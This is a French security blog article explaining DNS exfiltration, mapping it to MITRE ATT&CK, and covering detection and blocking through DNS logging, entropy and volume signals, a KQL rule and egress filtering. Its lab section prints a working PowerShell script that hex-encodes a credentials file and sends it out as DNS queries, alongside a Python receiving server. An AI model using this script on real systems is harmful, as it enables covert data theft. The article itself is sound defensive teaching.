Dans cet article, nous allons étudier l'exfiltration DNS, une technique utilisée par les attaquants pour faire sortir des données d'un réseau en les encodant dans des requêtes DNS en apparence anodines. Nous verrons pourquoi ce canal est si efficace, comment il est mis en œuvre, où le situer dans le framework MITRE ATT&CK, et surtout quels moyens de détection et de protection activer côté défense.

Le DNS (Domain Name System) est l'un des protocoles les plus anciens et les plus universellement acceptés d'Internet. Aucune machine, aucun navigateur, aucun poste de travail ne peut fonctionner sans résolution de nom. Résultat : le trafic DNS sortant est presque toujours autorisé, y compris dans des environnements où tout le reste est verrouillé. C'est précisément cette tolérance qui en fait une porte dérobée de choix pour l'exfiltration de données et pour les canaux de commande et contrôle (C2) des attaquants.

Il faut savoir que l'exfiltration DNS n'a rien d'une technique récente ou exotique. Elle est documentée depuis plus de quinze ans, implémentée dans de nombreux outils publics et activement utilisée par des groupes APT connus. Pourtant, elle reste un angle mort dans de nombreux SI, soit parce que la journalisation DNS n'est pas activée, soit parce que les volumes à analyser découragent les équipes SOC. Bref, un bon sujet pour peaufiner son système de détection.

Nous verrons notamment dans cet article comment une donnée peut être transformée en requête DNS, à quelles tactiques MITRE ATT&CK cela correspond, à quoi ressemble concrètement une exfiltration de données via DNS vue depuis une capture réseau, et quels contrôles de détection et de protection mettre en place pour réduire ce risque.

Attention : certaines des techniques et des outils présentés dans cet article peuvent avoir un comportement offensif, soyez sûrs de savoir les utiliser pour éviter tout effet de bord indésirable. La démonstration qui suit a été réalisée dans un lab isolé entre deux machines qui m'appartiennent. Assurez-vous d'avoir toutes les autorisations nécessaires avant de reproduire ce type de manipulation sur un réseau qui ne vous appartient pas.

L'exfiltration DNS : qu'est-ce que c'est et pourquoi ça fonctionne

C'est quoi, une exfiltration ?

L'exfiltration de données décrit tous les types d'opérations qu'un attaquant peut mener pour sortir des données d'un système d'information ou d'une machine compromise. Pour prouver son intrusion ou simplement pour revendre les données collectées, l'attaquant doit les sortir du SI (sur lequel il a un accès qui peut être temporaire, notamment en cas de détection) afin de les stocker sur un système qu'il contrôle pleinement.

Ces données exfiltrées permettent par exemple la mise en place d'une double extorsion dans le cas où un ransomware a également été déployé : vous payez la rançon ou alors vos données restent chiffrées, et en plus on en divulgue tout ou partie sur Internet. Elles permettent aussi à l'attaquant d'exercer un moyen de pression pour le paiement de cette même rançon et peuvent enfin être discrètement revendues au plus offrant.

L'exfiltration de données se distingue donc de la simple communication d'un webshell ou d'un RAT par le type de données qui transite du SI vers l'infrastructure de l'attaquant, mais aussi la plupart du temps par son volume. Pour cela, les attaquants font preuve d'ingéniosité, utilisant parfois des services, applications et protocoles ultra-connus pour se fondre dans la masse, et parfois des techniques beaucoup moins attendues et surveillées, comme le protocole DNS.

Rappel sur le protocole DNS et son détournement

Le DNS est le service qui permet de traduire un nom de domaine lisible par un humain (www.it-connect.fr) en adresse IP (51.159.28.72). Dans un fonctionnement standard, lorsque votre poste de travail souhaite joindre un site, il envoie une requête à un résolveur DNS (généralement celui de l'entreprise ou du FAI), qui à son tour interroge en cascade les serveurs faisant autorité jusqu'à obtenir la réponse. L'ensemble transite sur le port UDP 53 (TCP 53 en secours).

Schéma du principe de résolution DNS classique.

Dans ce schéma, un détail saute aux yeux pour un attaquant : le résolveur contactera, à votre demande, n'importe quel serveur DNS autoritaire sur Internet, pourvu que le nom demandé pointe vers lui. Il suffit donc qu'un attaquant possède un nom de domaine et un serveur DNS autoritaire pour ce domaine pour que le résolveur de l'entreprise lui livre spontanément toutes les requêtes que vous lui soumettez.

Dans les faits, c'est le fonctionnement normal du DNS. Il n'y a rien d'anormal à ce qu'un résolveur interroge un serveur autoritaire externe : c'est exactement ainsi que la résolution de www.it-connect.fr arrive jusqu'à vous. L'attaquant exploite simplement un mécanisme légitime du protocole.

Ajoutons à cela que le trafic DNS sortant est très rarement filtré finement au sein d'un SI d'entreprise :

Il est autorisé par défaut dans la plupart des configurations firewall ;
Il est souvent considéré comme "trafic de confiance" par les équipements de sécurité ;
Son volume est tel qu'il est fastidieux à auditer sans outillage dédié ;
Les requêtes DNS passent sans encombre à travers les proxys web, puisqu'elles ne sont pas du HTTP.

Bref, le DNS coche toutes les cases du canal rêvé pour un attaquant qui cherche à communiquer avec l'extérieur depuis un poste compromis.

Principe : encoder la donnée dans la requête

Le principe de l'exfiltration DNS est simple : la donnée à exfiltrer est encodée dans le nom de domaine demandé. Prenons un exemple. Supposons que l'attaquant possède le domaine attaquant.tld et qu'il souhaite faire sortir un contenu depuis un poste compromis. Le code malveillant va :

Lire le contenu à exfiltrer.
L'encoder, par exemple en Base32 ou en hexadécimal, pour obtenir une chaîne compatible avec les règles de nommage DNS.
Découper cette chaîne en morceaux (chunks) de 63 octets maximum, c'est la limite imposée par le RFC 1035 sur la taille d'un sous-domaine DNS. 255 octets maximum pour le nom complet.
Pour chaque chunk, émettre une requête DNS vers un sous-domaine du type <chunk>.attaquant.tld.

Côté attaquant, le serveur DNS autoritaire pour attaquant.tld reçoit toutes ces requêtes. Il n'a plus qu'à extraire la partie variable de chaque requête, les ordonner et les décoder pour reconstituer la donnée d'origine. Pour tromper encore davantage, il peut même répondre avec un enregistrement légitime (A, CNAME, TXT) pour que la victime ne détecte rien d'anormal.

Voici l'allure d'une telle requête :

# Exemple de requête DNS portant un morceau de données encodé en Base32
NRXW2ZJAMFSG63LPOJSXG4DMMFXGG33NFZSAUAI.attaquant.tld

Voici un schéma qui illustre ce fonctionnement :

Illustration de l'exfiltration DNS.

Si l'attaquant veut aussi un canal de retour (par exemple, pour recevoir des commandes à exécuter sur la victime), il utilisera des types d'enregistrements qui autorisent du contenu libre dans la réponse, principalement TXT (jusqu'à 255 octets par chaîne) ou NULL. Ce canal bidirectionnel est la base de ce qu'on appelle un DNS tunnel, qui dépasse la simple exfiltration pour devenir un véritable canal de C2 (Command & Control).

Le DNS n'étant pas conçu pour transporter des données, le débit utile est faible : quelques kilo-octets par seconde au mieux. Il faut noter que cela suffit largement à faire sortir des éléments compacts et sensibles (identifiants, clés, extraits de base), qui sont justement les cibles prioritaires d'un attaquant. Pour des plus gros volumes, il faut du temps devant soi.

Cas d'usage côté attaquant

L'exfiltration DNS est utilisée dans plusieurs scénarios offensifs, qui vont bien au-delà du simple vol de fichiers :

Exfiltration de données compactes : identifiants, extraits de bases, clés privées, documents sensibles de petite taille.
Canal de C2 (Command & Control) : l'attaquant envoie des commandes à exécuter via des réponses TXT, et la victime renvoie la sortie encodée dans ses requêtes. C'est le fonctionnement de dnscat2, du DNS beacon de Cobalt Strike, ou encore du canal AK47DNS récemment documenté chez l'acteur Storm-2603.
Validation out-of-band dans les tests web : lors d'un test SSRF, SQLi aveugle ou injection de template, un payload qui déclenche une résolution DNS vers un domaine contrôlé par l'auditeur prouve l'exécution côté serveur. C'est le principe de Burp Collaborator ou d'interactsh.
Tunneling IP complet : avec un outil comme iodine, il est possible d'encapsuler du trafic IPv4 sur du DNS. On obtient alors un canal clandestin utilisable depuis un réseau qui n'autorise que les résolutions DNS.
Variante DoH (DNS over HTTPS) : lorsque le DNS classique est surveillé ou bloqué, les mêmes requêtes peuvent être emballées dans du HTTPS à destination d'un résolveur public, ce qui rend le flux encore plus difficile à distinguer d'un trafic légitime. Pour mieux comprendre ce protocole et ses enjeux, je vous renvoie à notre article dédié : IT-Connect - Sécurité DNS – DoH : Qu’est-ce le DNS over HTTPS ?.

Côté outillage, les grands classiques publics sont dnscat2 et iodine. Ils sont open source, disponibles sur GitHub, et parfaitement fonctionnels, ce qui les rend aussi utiles aux équipes défensives pour monter un lab de détection, comme nous allons le voir plus loin. Mais pour être honnête, un simple script Python ou PowerShell peut déjà suffire pour exfiltrer une donnée via DNS.

Positionnement dans MITRE ATT&CK

Dans la matrice MITRE ATT&CK, l'exfiltration DNS et le DNS tunneling se recoupent sur plusieurs techniques distinctes, selon l'usage précis qu'en fait l'attaquant :

T1048 - Exfiltration Over Alternative Protocol : exfiltrer des données via un protocole différent du canal C2 principal. Le DNS en est l'illustration la plus fréquente.
T1071.004 - Application Layer Protocol: DNS : utiliser le DNS comme protocole de communication pour un canal C2, par lequel on peut aussi sortir de la donnée.
T1572 - Protocol Tunneling : encapsuler un protocole dans un autre, ce qui recouvre les cas de type iodine.

Si l'on souhaite représenter ces TTP sur la matrice du MITRE ATT&CK, on observe qu'ils sont situés sur les tactiques Command & Control et Exfiltration. Il s'agit d'opérations qui sont donc menées bien après le premier accès au SI, une fois que l'attaquant s'est déjà implanté sur un ou plusieurs systèmes.

TTP relatifs au DNS tunneling/exfiltration sur la matrice MITRE ATT&CK (en bleu).

Côté groupes connus, l'usage du DNS comme canal d'exfiltration ou de C2 a été observé chez des acteurs comme APT32 (OceanLotus), OilRig (APT34), ou plus récemment Storm-2603 avec sa variante AK47DNS (Source : picussecurity.com). Il s'agit donc d'une technique largement documentée et toujours d'actualité, pas d'une curiosité de laboratoire.

Observer une exfiltration DNS en lab avec Wireshark

Pour qu'un défenseur sache à quoi reconnaître une exfiltration DNS dans ses propres logs, le mieux reste de l'observer de ses yeux dans un environnement contrôlé. L'objectif de cette section n'est pas de fournir un mode d'emploi d'attaque, mais de montrer quelques-unes des signatures qu'un canal DNS laisse derrière lui.

Le lab utilisé ici est entièrement isolé et ne contient aucune donnée réelle :

Une machine "serveur" sous Linux, qui joue le rôle de serveur DNS autoritaire pour un domaine de test et qui possède simplement un serveur DNS très léger en Python.
Une machine "cliente" sous Windows, qui exécute notre script d'exfiltration DNS PowerShell et sur laquelle un fichier texte de démonstration a été créé exprès pour l'exercice.
Une capture Wireshark côté client, pour observer les paquets DNS générés par le tunnel.

Côté serveur, on simule notre serveur DNS léger en Python pour répondre quelque chose de valide aux requêtes qui nous arrivent, et accessoirement, il journalise dans un fichier tous les sous-domaines des requêtes DNS :

#!/usr/bin/env python3
import socket, struct, datetime

PORT, ANSWER_IP, LOGFILE = 53, "0.0.0.0", "requetes.log"

def qname(data):
    off, subdomains = 12, []
    while data[off]:
        n = data[off]; subdomains.append(data[off+1:off+1+n].decode("ascii","replace")); off += n+1
    return ".".join(subdomains), off+5   # +1 (zéro) +2 (type) +2 (classe)

sock = socket.socket(socket.AF_INET, socket.SOCK_DGRAM)
sock.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1)
sock.bind(("0.0.0.0", PORT))
print(f"En écoute sur :{PORT} -> {ANSWER_IP}, log dans {LOGFILE}")

while True:
    data, addr = sock.recvfrom(512)
    name, qend = qname(data)

    with open(LOGFILE, "a") as f:
        f.write(f"{addr[0]}\t{name}\n")

    resp = (data[:2] + b"\x81\x80" + struct.pack(">HHHH",1,1,0,0)
            + data[12:qend]                      # section question recopiée
            + b"\xc0\x0c" + struct.pack(">HHIH",1,1,60,4) + socket.inet_aton(ANSWER_IP))
    sock.sendto(resp, addr)

Côté client, on écrit notre script d'exfiltration et on l'exécute en spécifiant le nom de domaine ciblé, accessoirement l'IP du serveur DNS avec lequel on veut discuter :

# Script
$hex    = [System.IO.File]::ReadAllBytes($args[0]) | ForEach-Object { $_.ToString("x2") }
$hex_concat    = $hex -join ''
$chunks = $hex_concat -split '(?<=\G.{32})(?=.)'
$i = 0
foreach ($chunk in $chunks) {
    $qname = "{0:x4}-{1}.$($args[1])" -f $i++, $chunk
    Resolve-DnsName -Name $qname -Server $args[2] -Type A -ErrorAction SilentlyContinue
    Write-Host $qname
    Start-Sleep -Milliseconds 100
}

# Utilisation côté client (victime)
PS C:\Users\vagrant> .\dns-exfil.ps1 config-creds.yaml lab.local 192.168.57.10
0000-6163636f756e74733a0a202049443a20.lab.local
0001-310a202064657461696c733a0a202020.lab.local
0002-204e616d653a204a6f686e0a20202020.lab.local
0003-50617373776f7264733a202231323334.lab.local
[...]

J'exfiltre ici le fichier config-creds.yaml, voici à quoi cette exfiltration ressemble sous Wireshark :

Capture réseau d'une exfiltration DNS.

Rien de très parlant, on voit bien des requêtes DNS vers lab.local, au milieu d'autres requêtes DNS classiques, pas de quoi lever une alerte. Voici maintenant à quoi ressemble la visualisation du volume du trafic sur la période d'exfiltration :

Représentation graphique du volume de requête DNS.

Nous voyons un pic, qui représente les nombreuses requêtes DNS envoyées. Faisons à présent un ratio du nombre de requête/sous-domaines sur la même période de capture :

$ python3 ratio.py 1.pcapng 
     468  lab.local
      28  microsoft.com
      22  cloudflare.com
      14  icloud.com
      14  outlook.com
      13  akamai.com
      13  office.com
      12  stackoverflow.com
      11  youtube.com
      11  windows.com
      10  linkedin.com
      10  reddit.com
       9  twitter.com
       9  wikipedia.org
       8  google.com

Il se passe définitivement quelque chose avec le domaine lab.local. Voici les conclusions de notre petite démonstration :

Un volume anormalement élevé de requêtes vers un même domaine racine, en rafales continues (plusieurs dizaines par seconde pendant toute la durée du transfert).
Des sous-domaines longs et à l'apparence aléatoire, résultat de l'encodage hexadécimal/Base32.
Un même domaine racine qui concentre à lui seul toutes ces requêtes : un comportement totalement atypique en navigation normale.

Côté attaquant, on est face à un dilemme lorsque l'on veut exfiltrer beaucoup de données : aller vite avec de très nombreuses requêtes, des tailles de chunk plus longues (possiblement sans respecter la RFC1035), ou alors être plus discret et faire des requêtes plus espacées, avec des sous-domaines plus courts. Pour vous donner une idée, exfiltrer 1 Go de données avec des chunks de 100 caractères et un encodage en hexa nécessite plus de 21 millions de requêtes DNS. Cela nous informe donc aussi sur les cas d'usages pour lesquels l'attaquant fera ou non appel à l'exfiltration DNS.

Voilà, nous avons une démonstration concrète d'un canal d'exfiltration DNS. Nous aurions pu utiliser des outils plus complexes et dédiés comme iodine ou dnscat2, mais démontrer la simplicité de l'opération avec un simple script de quelques lignes me parait plus parlant.

Ce qu'il faut retenir de cette observation, du point de vue défensif, tient en trois signatures : volume, longueur/entropie des sous-domaines, et concentration sur un domaine racine inhabituel. Ce sont exactement les trois axes sur lesquels nous allons bâtir la détection dans la section suivante.

Enfin, cette petite opération n'a l'air de rien, mais nous venons de faire sortir sur Internet le contenu d'un fichier sans passer par un navigateur web, ni par une potentielle inspection des échanges HTTP/HTTPS, nous n'avons pas eu besoin de dépendances fortes ou d'outils spécifiques. C'est exactement ce qu'un attaquant cherche à faire : être discret, utiliser le moins d'outils tiers possible pour laisser peu de traces et contourner les moyens habituels de surveillance.

Voyons à présent ce que nous pourrions mettre en œuvre pour détecter une telle opération sur un réseau.

Journaliser les requêtes DNS

On ne détecte que ce que l'on journalise. La première étape consiste donc à capturer les requêtes DNS et les acheminer vers un SIEM pour y appliquer des règles. Plusieurs sources sont possibles, selon votre environnement :

Sur les contrôleurs de domaine Windows faisant office de résolveur DNS : activer le DNS Analytical Log via l'Event Viewer (Applications and Services Logs > Microsoft > Windows > DNS-Server). Ce journal fournit l'intégralité des requêtes reçues avec leur type et leur source.
Sur les postes de travail Windows : installer Sysmon et activer l'event ID 22 - DnsQuery, qui journalise chaque résolution déclenchée par un processus (très utile pour tracer quel binaire a émis la requête).
Sur les résolveurs Linux (BIND, Unbound) : activer le query log et exporter les fichiers vers le SIEM.
Sur les passerelles DNS d'entreprise : utiliser les mécanismes d'export natifs vers Splunk, Elastic, Wazuh ou Microsoft Sentinel.
Au niveau réseau : une sonde type Zeek produit un log dns.log extrêmement riche à partir du trafic brut.

Dans les faits, les postes de travail et serveurs d'un domaine Windows devraient tous passer par le résolveur interne (généralement le ou les contrôleurs de domaine). Journaliser à cet endroit couvre déjà l'immense majorité du trafic DNS de l'entreprise et permet aussi de détecter ceux qui ne respectent pas la configuration standard de l'entreprise (requête DNS sortant sur Internet ne provenant pas du résolveur DNS de l'entreprise).

Les signaux à surveiller

Un tunnel DNS ne ressemble à rien de ce qu'un poste de travail normal produit. En agrégeant plusieurs signaux, on obtient des détections très robustes :

Volume anormal de requêtes par host vers un même domaine : un poste de travail interroge beaucoup de domaines différents, en volumes modérés. Un poste qui émet plusieurs centaines de requêtes par minute vers un unique domaine racine est très suspect.
Nombre élevé de sous-domaines uniques sous un même domaine racine : c'est la signature caractéristique du chunking. Si exfil.attaquant.tld reçoit 500 sous-domaines différents jamais vus en 10 minutes, il se passe quelque chose.
Longueur des sous-domaines et du FQDN : un FQDN dont le premier sous-domaine fait 50 à 63 caractères, répété requête après requête, n'a aucune raison d'exister dans un usage normal. On peut poser un seuil (par exemple > 40 caractères) pour détecter les candidats, et adapter ce seuil en fonction du nombre de faux positifs observés.
Entropie élevée du sous-domaine : les données encodées en Base32/Base64/hex ont une entropie de Shannon très supérieure à celle d'un nom de domaine lisible. Beaucoup de SIEM proposent une fonction shannon_entropy() ou équivalente ; un score supérieur à ~3,5 bits/caractère sur un sous-domaine est un bon indicateur.
Types de requêtes sous-domaine : un volume soudain de requêtes TXT, NULL ou MX depuis un poste de travail est anormal. Ce sont les types privilégiés par les tunnels DNS pour transporter des charges utiles plus larges dans les réponses.
Domaine récemment enregistré ou de faible réputation : la corrélation avec un flux de threat intelligence (date d'enregistrement WHOIS, listes de domaines malveillants) permet d'écarter les faux positifs légitimes.
Requêtes vers des résolveurs DoH publics depuis des postes qui ne devraient pas en utiliser : si votre politique prévoit un résolveur unique, toute requête vers dns.google, cloudflare-dns.com, dns.quad9.net depuis un poste de travail est un signal d'alerte.

La force de la détection ne tient pas à un signal unique mais à la corrélation de plusieurs d'entre eux. Un seul long sous-domaine n'est pas forcément malveillant (certains CDN produisent des sous-domaines à rallonge), mais long sous-domaine + haute entropie + rafale de 300 req/min + domaine inconnu + TXT, cela ne laisse plus beaucoup de place au doute.

La visualisation des flux DNS aide beaucoup à détecter des comportements anormaux, typiquement des pics de requêtes DNS seront plus facilement visibles de cette manière.

Un exemple de règle de détection

Pour illustrer, voici une petite requête KQL telle qu'on pourrait l'écrire dans Microsoft Sentinel ou Microsoft Defender pour détecter un host qui émet un nombre anormal de sous-domaines uniques sous un même domaine racine dans une fenêtre glissante :

// KQL - Détection d'un volume anormal de sous-domaines uniques
// sous un même domaine racine (signature typique du chunking DNS)
DeviceEvents
| where ActionType == "DnsQueryResponse"
| extend FQDN = tolower(RemoteUrl)
| extend RootDomain = strcat(split(FQDN, ".")[-2], ".", split(FQDN, ".")[-1])
| summarize
    UniqueSubdomains = dcount(FQDN),
    TotalQueries    = count()
  by DeviceName, RootDomain, bin(Timestamp, 10m)
| where UniqueSubdomains > 150 and TotalQueries > 300
| order by UniqueSubdomains desc

Vous trouverez d'autres règles KQL concernant le DNS tunneling/exfiltration ici : https://www.kqlsearch.com/?search=dns+tunnel

Le même principe se décline en règle Sigma pour une détection multi-SIEM, ou en requête SPL pour Splunk. L'idée reste la même : compter les sous-domaines uniques par couple (host, domaine racine) et lever une alerte au-delà d'un seuil cohérent avec votre contexte.

Les seuils sont à ajuster avec votre environnement. Il faut noter qu'un certain nombre de services légitimes (antivirus cloud, CDN, télémétrie navigateur) produisent eux aussi beaucoup de sous-domaines. L'exercice de tuning par liste blanche sur les domaines légitimes est un passage obligé lors de la mise en place de ce type de règle.

Se protéger de l'exfiltration DNS

Maîtriser le flux DNS sortant

La première ligne de défense consiste à ne plus laisser n'importe quel poste parler à n'importe quel résolveur DNS. L'architecture cible est simple :

Tous les postes et serveurs sont configurés pour utiliser uniquement les résolveurs internes (contrôleurs de domaine, serveurs BIND dédiés, résolveur d'entreprise).
Le firewall périmétrique bloque le DNS sortant (UDP/53 et TCP/53) depuis tout le réseau interne, sauf depuis les résolveurs internes vers Internet.
Les résolveurs internes sont les seuls points de sortie DNS vers le monde extérieur, ce qui permet de journaliser et de filtrer à un endroit unique.

Cette architecture a aussi le mérite de couper les tunnels DNS les plus naïfs, qui tentent de parler directement à un résolveur public depuis le poste compromis. Elle doit s'accompagner du blocage du DNS over HTTPS : la plupart des navigateurs modernes activent DoH par défaut, et il faut explicitement le désactiver par GPO ou par politique MDM pour conserver la visibilité sur les requêtes.

Attention toutefois : désactiver DoH suppose d'accepter que le DNS interne soit encore en clair sur le réseau d'entreprise. Dans un contexte où l'on souhaite à la fois le chiffrement et la visibilité, il faut déployer DNS over TLS (DoT) ou DoH vers son propre résolveur interne.

Filtrage par réputation et Protective DNS

Une fois le trafic DNS canalisé par les résolveurs internes, il devient possible d'y appliquer un filtrage par réputation. Le concept de Protective DNS (PDNS), promu par la NSA et la CISA, consiste à bloquer en amont la résolution de domaines connus comme malveillants.

Plusieurs solutions existent :

Services managés : Cisco Umbrella, Infoblox BloxOne Threat Defense, Palo Alto DNS Security.
Résolveurs publics filtrants : Quad9 (9.9.9.9), NextDNS, OpenDNS, DNS4EU côté européen.
Solutions open source : Pi-hole en front de résolveur, ou directement RPZ (Response Policy Zone) sur un serveur BIND / Unbound, alimentée par des flux de domaines malveillants. On peut aussi citer une solution comme Technitium DNS.

À cela s'ajoutent les listes de blocage de domaines DoH connus, pour empêcher un attaquant de contourner votre résolveur.

La force d'un Protective DNS, c'est qu'il bloque à la source, avant même qu'une connexion ne s'établisse. Un domaine malveillant qui n'est pas résolu est un domaine que la machine ne peut tout simplement pas joindre, quel que soit le malware. C'est l'un des contrôles au meilleur rapport effort/impact que l'on puisse déployer.

Détection comportementale

Enfin, il faut garder à l'esprit que le filtrage par réputation ne couvre pas les domaines inconnus. Un attaquant qui enregistre un domaine neuf, dédié à sa cible, ne sera pas bloqué par les listes publiques. C'est là que la détection comportementale vue précédemment prend tout son sens : les règles sur le volume, l'entropie et la concentration permettent d'attraper même les tunnels sur des domaines "propres".

Conclusion

Nous avons vu dans cet article ce qu'est l'exfiltration DNS, comment un attaquant peut encoder un contenu dans des requêtes DNS pour le faire sortir d'un réseau, et pourquoi ce canal reste efficace malgré son ancienneté. Nous avons également replacé la technique dans le framework MITRE ATT&CK (T1048, T1071.004, T1572), observé en lab la signature visuelle qu'une exfiltration DNS laisse dans une capture Wireshark, puis parcouru les leviers de détection (journalisation DNS, signaux comportementaux, exemple de règle KQL) et de protection (maîtrise du flux DNS sortant, Protective DNS, comportement).

Il y a encore beaucoup à dire sur ce sujet : l'arrivée généralisée de DoH, l'usage croissant des tunnels DNS par les malwares modernes, les multiples formes techniques que le tunneling/exfiltration DNS peut prendre, l'intégration de l'analyse DNS dans les plateformes XDR, ou encore l'automatisation de la réponse via les SOAR. Bref, un terrain à surveiller de près pour les équipes défensives.

Un dernier mot pour nuancer : aucun contrôle unique ne couvre à lui seul le risque d'exfiltration DNS. La robustesse vient de la combinaison : canalisation du flux, filtrage par réputation et détection comportementale. Appliqués ensemble, ils augmentent les chances de bloquer une exfiltration DNS ou de la détecter, ce qui est toujours mieux que d'avoir cette catégorie d'opérations dans la case "angle mort" de la sécurité/surveillance de son SI.

N'hésitez pas à partager votre avis ou votre retour d'expérience sur la détection d'exfiltration DNS dans les commentaires, ou à venir échanger avec notre communauté sur notre serveur Discord !

Pour aller plus loin, voici quelques articles IT-Connect qui compléteront utilement celui-ci :

IT-Connect - Sécurité DNS – DoH : Qu’est-ce le DNS over HTTPS ?
IT-Connect - Centralisation des logs : un atout clé pour la sécurité
IT-Connect - Windows : utilisation de Sysmon pour tracer les activités malveillantes
MITRE ATT&CK - T1071.004 Application Layer Protocol: DNS

Ajouter IT-Connect à mes
sources préférées

Co-fondateur d'IT-Connect.fr. Auditeur/Pentester chez Orange Cyberdéfense.

Exfiltration DNS : comprendre, détecter et bloquer un canal de fuite discret